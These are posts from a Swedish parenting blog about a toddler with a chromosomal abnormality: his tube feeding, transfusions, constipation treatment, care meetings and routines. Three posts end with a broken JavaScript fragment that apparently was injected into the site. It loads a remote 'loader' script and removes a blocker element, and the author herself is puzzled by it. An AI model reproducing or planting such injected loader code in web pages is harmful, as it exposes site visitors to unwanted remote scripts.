Planeringsmöte HAB

Igår var vi på planeringsmöte på habiliteringen. Med på mötet var Noels sjukgymnast och sedan hans nya logoped samt en läkare från barnavdelningen. Noel höll låda hela mötet och var glad mestadels, det är ju dock tråkigt att sitta still så länge. Vi diskuterade mycket kommunikation. Vi ska försöka med mer bilder och införa ex. bildscheman eventuellt bara visa en bild innan vi gör något. Jag tror det kan fungera bra. Jag och Ted hade tänkt på att man kanske kan ta kort på ex några leksaker och gåstolen samt hoppgungan för att kunna få fram på ett bättre sätt vad Noel vill göra. Då kan han förhoppningsvis med hjälp av bilderna förmedla vad han själv vill leka med. Oftast förstår vi ju vad han vill och att han kanske efter att ha suttit på golvet och lekt en stund ha behovet av att springa av sig i gåstolen. Men det vore ju fantastiskt om han skulle kunna lära sig att välja själv och kommunicera bättre. Så i vår kommer vi nog lägga stor fokus på tecken och på kommunikation genom bilder.

Annars pratade vi lite om att sätta gränser, om handling och konsekvens. Det var vi som tog upp ämnet. Mest med tanke på matsituationen. Det är faktiskt väldigt svårt att försöka vara konsekvent och få Noel att förstå att det finns en konsekvens av att inte vilja/vägra äta, om det nu beror på trots eller annat spelar ingen roll. Men det som gör det svårt är ju att vi inte bara kan strunta i att ge mat, den där grejen med att om du inte vill äta får du vara hungrig funkar ju inte på Noel, han kommer inte säga till när han väl vill äta och han måste ha sina kalorier per dag för att gå upp i vikt, några marginal finns ju inte. Så det är svårt det där. Vi får försöka att erbjuda mat i den mån det går i dessa ”dåliga perioder” och inte tvinga honom att äta, då är ju risken att han alltid kommer associera mat med något negativt och jobbigt. Vi får försöka ”stå ut” och hoppas på att matvägran går över. Det är ju jobbigt eftersom maten aldrig varit naturlig för Noel, det finns ingen naturlig hunger och njutning hos honom direkt, så att vi kommit så långt med maten känns fantastiskt och då som ett ännu jobbigare bakslag när maten inte funkar alls!

Annars kommer vi träna på i den takt vi gör nu. Det motoriska följer ju även den mentala utvecklingen så det får ta sin tid med Noel, men vi tränar och över på det vi kan och det känns ok för tillfället.

Överlag så kändes mötet väldigt bra, och dom är ju alla där för Noels bästa, för att främja hans utveckling och välmående, sen att det alltid finns en viss känslomässig del som är jobbig med dessa möten är en annan femma…

På bättringsvägen

Det har varit en ganska hektisk vecka, varpå jag helt prioriterat bort bloggen, ja egen tid vid datorn över huvud taget. I måndags hade vi läkarbesök på BVC med Leon, plus vanlig kontroll, det gick bra, inga anmärkningar på den lilla. Han hade gått upp lite dåligt sen sist bara, 180g på lite mer än två veckor, fast inget som var oroväckande, han går ju ändå upp i vikt. Förmodligen så beror det på att även Leon är förkyld. Han äter ofta, men inte så mycket varje gång, han är också hängig och snorig, så det är nog rätt jobbigt att äta.
I onsdags hade vi läkarbesök med Noel, och så tog vi nytt HB, vikt, längd etc. Hans HB var rätt lågt så han fick blod i torsdags. Under läkarbesöket diskuterade vi mest maten och hans dåliga viktuppgång. Dietisten var också med under mötet. Egentligen kom vi inte fram till något nytt bortsett från att vi ska ge även extra fettillskott i varje måltid. Vi tänker börja göra Noels gröt på sondnäringen istället, på så sätt får han i sig 60 kcal extra/portion gröt. Vi gör vad vi kan när det kommer till maten/näring, vi får bara hoppas på att kurvan börjar gå uppåt snart och inte bara står still. Däremot så blev jag glad att Noel inte gått ner något medan han låg inne på sjukhuset och var så dålig, i onsdags stod vågen på 7080g, förstås jättelite för att vara 2 år, men ändå så är jag glad att han inte gått ner en massa.

Vi diskuterade även den kommande operationen nästa år. Det är väldigt mycket som ska samköras under narkosen. Både öron och ögon är involverade, samt att vi ska försöka få en specialisttandläkare att ta en titt på Noels tänder, som till min stora förtvivlan inte är riktigt som dom ska. Övre raden ser helt ok ut, men där nere så växer tänderna lite snett och vint, och hörntänderna har inte kommit upp helt, vet inte om dom kommer göra det heller. Jag vet inte alls vad man kan göra åt detta, men jag förstår att det är vanligt för ”kromosombarn” att ha problem med tänderna. Fler med erfarenhet av detta? Vi ska i vilket fall försöka få till allt samtidigt och det kommer troligast ske i februari eller Mars nästa år.

Noel är i alla fall på bättringsvägen från sin lunginflammation. Han är piggare på dagarna, och i 2 dagar nu så har han kunnat vara utan syrgasen nästan helt på dagtid igen :) Känns som jag dragit största vinsten på lotto! Det är verkligen jätteroligt att han mår så pass mycket bättre. Jag tar inget för givet, men jag hoppas att det vänder för gott nu. Han är dock väldigt snorig och täppt i näsan, nätterna är hemska då han knappt kan andas utan det tar bara stopp, det blir ett tråkigt ekorrhjul med nästäppan, koksalt och så syrgasen som får allt att torka igen. Känns som både han och Leon dragit på sig en ny förkylning igen, men jag hoppas att det går över snart eller i alla fall blir bättre på nätterna. Vore himmelskt att få några nätter utan spring och en massa larm hela tiden…

I torsdags fick Noel som sagt blod igen, nu gick det bara 4 veckor emellan transfusionerna, men det hjälpte verkligen den här gången, han var nere på nästan 80 i HB och med tanke på att lungorna inte är återhämtade igen så var det verkligen nödvändigt med blod. Han blev mycket piggare efteråt och vi kunde som sagt prova att ta bort syrgasen dagtid under längre perioder. Han har fortfarande rätt mycket syrgas nattetid, men det har han ju haft innan med i perioder. Vi får hoppas bara att han håller sig längre den här gången, vi försöker ju att glesa ut transfusionerna så mycket det går, men ibland så är det ju som sagt nödvändigt att han får blod även om det är på gränsen runt 90.

Annars är det mesta bra med oss. Vi tar en dag i taget. Det är alltid mer att göra när Noel är mer sjuk än vanligt, och nu när Leon är lite förkyld med så är det full rulle på dagarna (och nätterna), men dom är glada nästan hela tiden och sover ändå skapligt på nätterna, Noel sover ju även om det larmar, och även om han är täppt och störs av det så är han ju inte vaken nattetid, inte heller Leon, han äter några gånger men annars sover dom. Det är som sagt larmen som håller oss vakna eller om vi behöver hjälpa Noel med koksalt osv…

Här har ni världens gladaste sjukling;

Nytankad

Vi tog nytt HB på Noel igår som var 84. Idag hade Ted tagit ledigt från jobbet så vi passade på att planera för blod idag på morgonen. Vi emlade porten hemma men ändå så drar det alltid ut på tiden när det är dags för blod. Allt gick i vilket fall bra, Noel hatar ju att sätta nålen och allt som hör därtill men det gick ändå rätt smidigt idag. Noel satt och lekte nästan hela tiden med sina leksaker och skrattade massor åt något, antagligen lampan eller alla färger. Han lever ju lite i sin egna värld ibland, skulle vilja ta del av den världen ibland, den känns ganska kravlös och rolig!

Vi fick dessutom finbesök under tiden av en vän till oss och hennes lilla plutt Aston som är 10 dagar yngre än Leon. Det var skoj med lite besök under tiden, annars är det lätt att vi fastnar vid klockan och på hur många minuter det är kvar på droppet.

Vi passade även på att ta lite nya prover idag, bland annat ett prov för att se hur hjärtat är belastat (sviktprov), det låg inom det normala vilket var väldigt bra för då ska vi prova att sätta ut ett par av Noels mediciner som vi tror att han kan klara sig utan. Vi tog även prover för att lite hur funktionen på sköldkörteln och ämnesomsättningen ser ut. Noel växer ju inte så bra, och går definitivt inte upp i vikt som han ska. Hans kusin på 4 månader väger till och med mer än Noel :( Vi vet inte riktigt vad vi ska göra åt detta, men det känns som något vi vill ”undersöka” djupare och gå vidare med. Kanske behöver han tillväxthormoner eller så är det något ”fel” på ämnesomsättningen. Han behöver hur som helst mer hjälp med vikten, nu har vi stått still på runt 7kg väääääldigt länge.
Inget annat nytt kring Noel annars. Nästa stora grej är ju operation nästa år, när vet vi inte, det är inget som är bestämt ännu, men under narkosen ska vi försöka få till undersökning av syn, hörsel och av tänderna.

Så här glad var i alla fall vår ”stora” kille idag;

Rutiner

Livet har blivit väldigt inrutat hos oss, ett vardagsliv fyllt med rutiner. Inte sagt att vi inte kan vara spontana, det bara krävs lite mer planering. Jag gillar rutiner. Det ger en skön trygghet på något sätt, och allt blir så mycket lättare om alla rutiner följs.
Vi har märkt på Noel att han verkligen är i stort behov av rutiner. Han mår allra bäst om saker och ting sker i en viss ordning, ändrar man på något så blir han lätt orolig och stressad, eller så blir han ofokuserad och gnällig. Som exempel har vi maten, han äter allra bäst om jag matar honom, vilket säkert beror till största del på att jag är hemma med honom och ger honom de allra flesta måltiderna, han är van vid att jag ger honom mat, och det sätt jag matar honom på. Men det är inte bara det som ska gå på rutin. Vi ska helst bara använda den röda skeden, haklappen ska på först och matstolen ska stå på ett speciellt ställe i köket för att det ska fungera som allra bäst. Helst ska det inte vara för mycket distraherande ljud runt omkring, och helst ska han äta ifred. Han äter alltså sämre om vi äter middag tillsammans, då blir han distraherad av det som finns på matbordet och på att jag och Ted äter samtidigt. Annat som stör måltiden är om någon annan sitter bredvid, om jag pratar mycket med någon annan samtidigt eller om någon går fram och tillbaka i köket när han äter, helst ska ingen röra sig i närheten utan det ska vara lugn och ro. Då fungerar det oftast helt okej för Noel att äta. Ni förstår säkert att det alltså inte är optimalt att ge honom käk på ett fik eller hemma hos någon annan, det går, men det blir oftast skrikigt och han äter sällan upp en hel portion.

Mattider är något vi till största del följer slaviskt, alltså inte på minuten, men maten ska intas ungefär var 3e timma under dagen och i en specifik ordning. Vi har även andra rutiner, som på morgonen och kvällen och dessa ska ske i en viss ordning för bästa resultat.

Det är inte bara Noel som mår bäst av rutiner, det gör ju vi också. Allt blir så mycket enklare och jag märker på mig själv hur lätt jag blir stressad om exempel maten blir försenad eller om jag inte hinner ge lavemang på förmiddagen utan det blir senare och i så fall krockar med någon måltid etc. Då känner jag mig galet stressad och kan inte alls slappna av, det är ju liksom något som hänger över mig. Om allt flyter på under en dag så är det inga problem att hitta på saker, bara rutinerna följs någorlunda, då är dagen harmonisk och utan stress, men om den rubbas av exempel en sjukhustid som drar ut på tiden då blir vi alla stressade och det känns lätt som hela dagen är ”förstörd” och det istället handlar om att ”komma ikapp” dagsrutinerna. Det kan låta jobbigt och konstigt för många säkert, men för oss fungerar detta kanon och det är en enorm trygghet för oss alla att rutinerna finns och att dom faktiskt fungerar. Det känns också tryggt att det är just så inrutat som det är när lillebror kommer, det gör det lättare att hinna med annat emellan och att ge barnen egen tid under dagen. Förhoppningsvis kommer lillebrorsan kunna haka på Noels dagsrutiner när han blir lite äldre så som mattider osv, och det känns faktiskt väldigt skönt att dom redan är etablerade.

Jag tror även att det är nyttigt för Noel med alla rutiner. Han är ett barn med en kromosomavvikelse och även om det finns väldigt lite information om hans avvikelse så tror jag att han fungerar som många barn med olika syndrom och diagnoser, rutiner gör dem lugna och harmoniska, men rubbas dom så blir barnen lätt stressade och oroliga. Egentligen så är ju rutiner skitbra för alla barn, man kanske inte måste följa dem slaviskt, men det finns en slags trygghet i rutiner för alla barn, som att man på kvällen tar på pyjamas, borstar tänderna och läser godnattsaga, jag tror säkert att det blir lättare att somna för barnen om dom har strukturerade kvällsrutiner, sedan behöver dom ju inte följas slaviskt varje dag. Det är i alla fall vad jag tror och jag jag tycker det är skönt att vi ändå lyckats så bra med att få till ett passande ”schema” här hemma. Noel kommer säkert i framtiden även ha nytta av bildscheman etc, jag tror att han kommer må allra bäst av att ha det på ett speciellt sätt, då är han som mest lugn och harmonisk!

Movicol

Livet känns pyttelite lättare nu när vi använt Movicol i några dagar. På det viset att Noel iaf inte måste ta i så han spricker när han väl ska bajsa. Att ge lavemang (resulax) är dock fortfarande hemskt. Det är världens kamp att få ge honom det, något som man helst inte gör själv. En får hålla fast honom och en får ge lavemanget. Absolut ingen rolig upplevelse för någon av oss. Vi kan ju heller inte förklara så bra för Noel varför vi gör detta, bara trösta efteråt osv. Ibland blir det verkligen påtagligt hur jobbigt det kan vara att han inte förstår som andra barn…

Vi ger det här någon vecka till, sedan åter samtal till tarmterapin på ALB för utvärdering. Just nu ger vi en halv påse Movicol/dygn och det verkar ju ändå fungera hyfsat, han tömmer sig som sagt bättre nu än innan, även om det är extremt jobbigt att ge honom lavemang. En annan skillnad för Noel är att det blir mer gaser i magen av Movicol, något som ni andra märkt?? Men vi hoppas som sagt på att detta hjälper nu, att det här kommer fungera för Noel…

Just det, vi kom på ”anledningen” till att han blivit mer förstoppad. Känns skönt att kanske ha hittat boven i det hela. Vi har ju börjat göra Noels gröt på mjölk, den röda dessutom. Så det är säkert därför han blivit mer hård i magen. Men om det fungerar med Movicol så tänker vi absolut inte sluta ge honom mjölk eller göra gröt på mjölk. Om vi slutar så innebär det att vi måste få i honom ett helt mål till med sondnäring extra per dygn. Vi måste även ge tillskott av kalcium i så fall och det känns som han får nog med tillsatser och annat i maten redan. Mjölken var liksom en väldigt nyttig och smidig lösning på lite extra kalorier och kalcium per dygn…men så här är det, en konstant avvägning och sökande efter näringsrik kost som inte krånglar till magen..inte helt enkelt alla gånger. Jag hoppas att vi kan hjälpa Noel med magen i den utsträckning att man inte måste utesluta viss kost helt..sedan kan man ju naturligtvis undvika vissa källor i den mån det går, men förhoppningen är ju att tarmen ska fungera så pass bra med hjälpmedel att han ändå ska kunna dricka ex. mjölk!

Knapp

Noel har haft sin knapp i ca 16 månader nu, han fick den i April förra året. I början var jag enormt skeptisk till att låta Noel få en knapp, dels för att en del av mig hoppades innerligt att han inte skulle behöva den, och så dels för att jag inte ville att han skulle sövas och behöva genomgå en operation för att få ett hjälpmedel.

Och det är just ett hjälpmedel knappen är. Ett underbart hjälpmedel. När man väl vant sig vid den, och det har vi ju eftersom vi inte ens tänker på att den finns där längre, så känns det bara helt naturlig, lite som att man känner -har inte alla barn en knapp…

Jag kan tycka det är läskigt med knappen ibland. Det är ju trots allt ett hål rakt in i magsäcken som knappen täcker upp, skulle den ramla ut så är där ett öppet hål rakt in. Visserligen läker ”hålet” extremt fort, bara på någon timme (på gott och ont) men det är ändå läskigt på något sätt. Sedan är det ju just grejen att det läker så snabbt, jag är livrädd att den där jäkla knappen skulle lossna och vi inte får dit den igen, då måste man ju operera om och sätta dit en ny…fy. Sedan har vi det där med att byta vatten i knappen. Konstruktionen är som den att knappen sitter på ovansidan magen och i andra sidan av ”hålet” fylls en ballong med vatten som hindrar knappen från att lossna och ramla ur. Men vattnet i ballongen måste bytas med jämna mellanrum, det kan helt enkelt bli kondens så vattenmängden minskar och behöver fyllas på, detta gör vi själva hemma. Det är egentligen jätte enkelt och vi gör det när Noel sover så vi inte riskerar att knappen åker ut, men medan man tar bort vattnet finns ju inget som håller den på plats bortsett från att vi håller fast den mot magen. Jag är livrädd varje gång jag gör detta, dels för att jag får för mig att knappen ska åka ut, och sen för att jag ska fylla ballongen för mycket så den spricker..då är liksom hela knappen förstörd och behöver bytas ut….vi har en extra här hemma, men så var det där med 1 timme, om man inte får i den på en timme så läker hålet….

Hur som så tänker vi sällen på knappen, men jag måste medge att det är en trygghet att den finns. Ett älskat hjälpmedel som sitter smidigt och inte är i vägen som sonden var. Som idag när Noel varit kinkig med maten pga sin tand så är knappen fantastisk, han slipper gå hungrig och jag slipper ångesten över att han inte får mat och inte går upp ordentligt…den är helt enkelt bra att ha och vi har inge planer på att ta bort den ännu, trots att Noel äter kanon på egen hand. Den sitter bra där den sitter och ingen av oss störs av att den finns, tvärtom, vi är glada att den är där den är!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Kan själv

Intresset för mat har helt plötsligt blivit större för Noels del. Det är verkligen ett jättestort framsteg. Fruktpuré och gröt är smaskens och likaså den mat vi lagar om han får smaka på fingret. Det är däremot svårare att få i honom maten då han verkar ha kommit in i det berömda jag-kan-själv stadiet. Allt ska han göra själv. Han stjäl skeden ifrån oss och vägrar låta oss mata honom med den. Det är väl iof ett stort steg framåt i utvecklingen, och oftast så tar han skeden själv och stoppar in den i munnen. Mängden mat som följer med är väl dock inte så stor. Fast det känns som det gör detsamma just nu, han får experimentera bäst han vill, kladda och prova på. Själv så njuter jag bara av busungen och allt han hittar på, till en viss gräns i alla fall 😉

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Onsdag

Ser att det kommit knoppar på träden här utanför, känns helt fantastiskt att det snart är vår på riktigt. Jag längtar väldigt mycket efter att det ska bli varmare, att de första svenska jordgubbarna ska komma och att få vara ute lite mer.

I eftermiddag har Noel tid för sin synundersökning. Har ingen aning om hur det kommer gå, om dom hittar något ”fel” eller inte, är nervös för att jag ogillar när läkare ska bedöma Noel och sedan kanske tala om att det och det är fel, det är aldrig roligt även om vi såklart vill veta och behöver veta för att kunna hjälpa honom bättre. Det vi vet själva är att han är ljuskänslig, darrar lite på ögonen ibland och har ibland svårt att fokusera blicken längre stunder, främst på främlingar. Vet dock inte om ljuskänsligheten beror på för lite vana vid att vara ute och om det där med fokus i blicken är en utvecklingsfråga, ögonen utvecklas ju i takt med barnet, så det kan mycket väl vara både anknytningsfråga och en utvecklingsfråga. Vet ej. Den förra undersökningen vi gjorde var ju inte direkt så givande. Noel fick droppar och sedan lös läkaren med en ficklampa i hans ögon som han sedan skulle följa med blicken, då var han inte ens 1 år. Han följde en bit men tappade intresset, eller så ville han helt enkelt inte titta in i ljuset. Läkaren gjorde då bedömningen att han eventuellt hade en mindre synnedsättning, men inget direkt anmärkningsvärt, men erbjöd oss att höra av oss igen, vilket vi ju gjort nu.

Jag vet heller inte vad man kan göra om han har en synnedsättning vid så liten ålder. Glasögon? Laserbehandling? Operation? Vet ju iof inte om han har några jätteproblem med ögonen, men som vanligt skenar ju tankarna iväg. Vi får väl se i eftermiddag hur det går.

Annars är han pigg och glad, bortsett från tänderna så är det full fart. Vill helst stå upp hela tiden, det tycker han är roligt. Vill inte gärna äta, det tycker han är skittråkigt och slår bort flaskan/skeden och böjer bort huvudet i ren protest. Småbarnstrots eller tänderna som stör? Ingen aning, det är sjukt irriterande att han inte vill äta något, tackar gud för knappen annars hade väl pojkstackaren sett ut som ett skelett vid det här laget och inte orkat med något alls!

På förmiddagen hade jag och Noel fin fint besök av Jasmine och hennes bamsemage, v.32 är dom i nu, så inte så långt kvar nu tills älskade Julian blir storebror. Vi ses inte så ofta därför uppskattar jag våra stunder enormt mycket, vi har väldigt mycket gemensamt jag och Jasmine och jag är evigt tacksam över att våra vägar korsats sen jag flyttade till Norrköping. Som med så många nyfunna vänner vi lärt känna sedan Noel föddes, det finns en mening med allt, och de vänner vi funnit längs vägen är ett stort tecken på det!

Min egna mage växer också, måste börja ta bilder nu känner jag, innan tycker jag inte att det synts så mycket, men nu börjar det träda fram mer tydligt, kan känna lilla pyret långt ner i magen, hur det buffar och rör sig. En obeskrivlig känsla. Dock känns det som att glädjen lagts lite åt sidan så jag längtar efter att få resten av provsvaren så vi kan glädjas och få mer verklighet i det hela, om bebis är frisk såklart, annars blir det andra tankar som måste få ta plats, hua….

En trött liten kille!

Ps: vet inte vad som hänt med bloggen, varför det blir massa konstiga bokstäver och siffror i slutet av inläggen…någon som vet???

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Små saker

Vi bestämde igår att vi ska ge Noel gröt 2 gånger/dag och sedan fruktpuré/mat 1 gång/dag, och så får vi helt enkelt väga upp med mat i knappen om han inte får i sig gröten osv. Det kommer innebära mycket ”jobb” och långa mattider, att mata i knappen tar minst 45 min. I vilket fall så börjar vi lite smått, går efter de tips vi fick hos dysfagiteamet (dietist, logoped etc) i Linköping i höstas. Vi försöker mata med skeden men när Noel inte vill mer så slutar vi. Idag när jag satte honom i matstolen så gick det faktiskt mycket bättre än igår. Han åt visserligen kanske bara ett par matskedar gröt, men utan gnäll så länge han fick vatten emellan skedarna. Men sedan tröttnade han och ville absolut inte mer, då fick han gå ner, inget mer med det. Fortsätter vi så här lite smått så kommer det säkert bli mycket bättre om några veckor, någon månad. Det är i alla fall de där små stunderna, de små sakerna som gör det hela värt det, att det går bra en endaste gång är det som gör att man orkar fortsätta att trilskas. Precis som de dagar som är extra jobbiga och så får man världens största leende av världens finaste lilla kille, då är det som att allt annat bara försvinner och man mår så mycket bättre igen!

Det är dem små sakerna vi ska ta tillvara på, komma ihåg, minnas, plocka fram….

Long time no see

Det råder tystnad på bloggen, det har sina förklarliga skäl, ett av dom berättar jag senare om i veckan. Annars har det rått sjukdomar här hemma, och gör fortfarande, Ted har varit förkyld, Noel har haft någon mystisk maginfluensa med hög feber, vilket resulterat i att han tappat 0,5 kg och varit supergnällig i en vecka, ovanpå det så har även en tand kikat fram ordentligt och en annan är på väg precis bredvid. Det har varit vakna nätter med mycket gnäll och tårar. Nu är jag dessutom sjuk med förkylning liknade en bihåleinflammation och med feber. Ted är hemma från jobbet och får göra det mesta här hemma. Det är otroligt frustrerande när vi är mer sjuka än vanligt, speciellt Noel, när han har feber blir han väldigt gnällig, lillkillen hatar att vara varm och sover helst utan pyjamas och är helst naken hela dagarna, så feber är inte hans bästa vän direkt. Det blir alltid lite mer jobbigt när någon av oss är sjuka, i vanliga fall rullar det mesta på utan problem, men dyker något annat upp så är det som att allt bara rubbas och alla rutiner bara försvinner.

Sjukdomen blandas med en annan slags frustration, Noel som tidigare älskat att sitta  i vagnen är som omvänd och hatar verkligen att vara ute och sitta still. Sjukt frustrerande då det börjar bli så härligt väder ute och vi alla behöver luft för att bli piggare. Jag är fruktansvärt trött på att nästan bara sitta inne, även om Noel trivs med sina leksaker och gåstol osv så är det urtjatigt för oss andra och jag klättrar en aning på väggarna. Vet inte vad vi ska göra åt att han inte vill vara ute?? Det är ju frustrerande eftersom en annars normal 15 månaders säkert springer runt och älskar lekparken osv, men Noel är inte där än hur gärna jag än hade velat det, så vad ska vi göra? Den 15 mars kommer habiliteringens sjukgymnast hem hit, hon kanske har tips på hur vi mer kan aktivera honom osv. I sommar är det ju lättare att ta ut gåstol, hoppgunga och filt och låta honom leka med sitt utomhus, men nu när vädret fortfarande är lite kyligt är det inget alternativ. Dessutom verkar Noel vara väldigt ljuskänslig, om det beror på ögonen eller en ovana att vistas i solen vet jag inte, men något vi måste kolla upp, vägrar sitta inne en hel sommar!

Annars rullar det på, tanden har stört Noels aptit väldigt länge nu, men det nu verkar det som att han börjar äta bättre igen, fast det går väldigt upp och ned. Vi ska prova en ny sondnäring att endast ge i knappen, han får äta minimax som vanligt men det han inte äter ska vi ge i knappen men då prova en annan sort som är mer energirik, förhoppningen är ju att han ska gå upp snabbare i vikt. Jag hoppas på att han ska kunna gå upp två kilo till hösten, han bör väga runt 8-9 kg. Vet inte exakt hur lång han är men ca 70cm nu, men väger ju endast 6120g :( Han är inte mager så det ser obehagligt ut, men han skulle gärna få vara mer tjock :) Det kommer bli mycket fokus på mat och på utveckling i mars, 19 mars har vi planeringsmöte på HAB, vet inte riktigt vad eller om vi behöver hjälp med så mycket, det är att aktivera för att främja utvecklingen och sedan syn och hörselundersökningar. Vi känner att mycket måste vi ta i Noels takt, men sedan är hjälpmedel alltid bra så får man använda dem i den mån man tycker man behöver.

Vi funderar även på att flytta i år, till typ radhus eller liknande. Vi trivs kanon i lägenheten vi har, men vi önskar en större uteplats, och mer tillgång till grönområden. Helst vill vi hyra för vi sparar till att köpa hus och att köpa hus är inget vi bara vill göra sådär på en natt, huset ska vi förhoppningsvis på i väldigt många år, så tills vi hittar ett vi verkligen vill ha eller kan bygga eget så tjänar vi mest på att hyra, någon som läser som vet mer om vart man kan hyra ex radhus eller parhus? Vi vill helst inte på i Klockartorpet, vet ni något annats ställe? Antar att jag får ringa runt och höra mig för vad som finns, men ni brukar ju ha så bra förslag :)

Ted och Noel är på sjukhuset nu, Noel ska få blod, han har hållit sig länge nu, vi trodde han skulle få för en vecka sedan men då hade hans HB stigit av sig självt, igår låg det dock på 86, men eftersom jag är sjuk stannar jag hemma, har ingen lust att smitta någon annan. Blir själv förbannad om någon åker upp (om man inte måste) och är sjuk och då riskerar att smitta andra barn som är infektionskänsliga, så jag stannar hemma idag. Däremot ska jag försöka plocka i ordning här hemma, inte det lättaste när man är sjuk, men hemmet tar ingen hänsyn till min hälsa så får bita ihop och vila mig efteråt!

Har massa namn att skriva upp som skänkt pengar till insamlingen med, men får göra det i eftermiddag eller imorgon, ska verkligen försöka bli bättre på att uppdatera från och med nu! Imorgon hoppas jag att jag ska kunna få dela något roligt med er andra, men vad det är får ni se då 😉